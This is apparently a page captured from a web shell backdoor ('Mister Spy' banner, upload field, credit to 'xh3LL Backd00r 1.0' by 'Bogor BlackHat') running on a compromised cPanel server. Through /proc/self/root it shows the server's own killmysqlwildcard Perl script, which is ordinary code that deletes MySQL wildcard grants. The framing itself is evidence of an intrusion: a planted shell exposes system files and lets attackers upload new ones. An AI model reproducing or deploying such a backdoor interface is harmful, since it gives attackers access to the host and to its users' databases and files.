Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /proc/self/root/scripts/
Upload File :
Current File : //proc/self/root/scripts/killmysqlwildcard

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/killmysqlwildcard               Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use Cpanel::Config::Users       ();
use Cpanel::MysqlUtils::Connect ();
use Cpanel::MysqlUtils::Quote   ();
use Cpanel::Logger              ();
use Cpanel::DB::Utils           ();

my $logger = Cpanel::Logger->new();

my @cpusers = Cpanel::Config::Users::getcpusers();
my $dbh;

if ( my $obj = eval { Cpanel::MysqlUtils::Connect->new() } ) {
    $dbh = $obj->db_handle();

}
else {
    die "Failed to connect to MySQL: $@";
}

foreach my $cpuser (@cpusers) {
    my $dbowner_name = Cpanel::DB::Utils::username_to_dbowner($cpuser);

    my $safe_name = Cpanel::MysqlUtils::Quote::quote("$dbowner_name\\_%");

    $logger->info("Removing mysql wildcard grant from $cpuser");

    $dbh->do("DELETE FROM mysql.db WHERE db = $safe_name;");
}

$dbh->do('FLUSH PRIVILEGES;');
$dbh->disconnect();

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat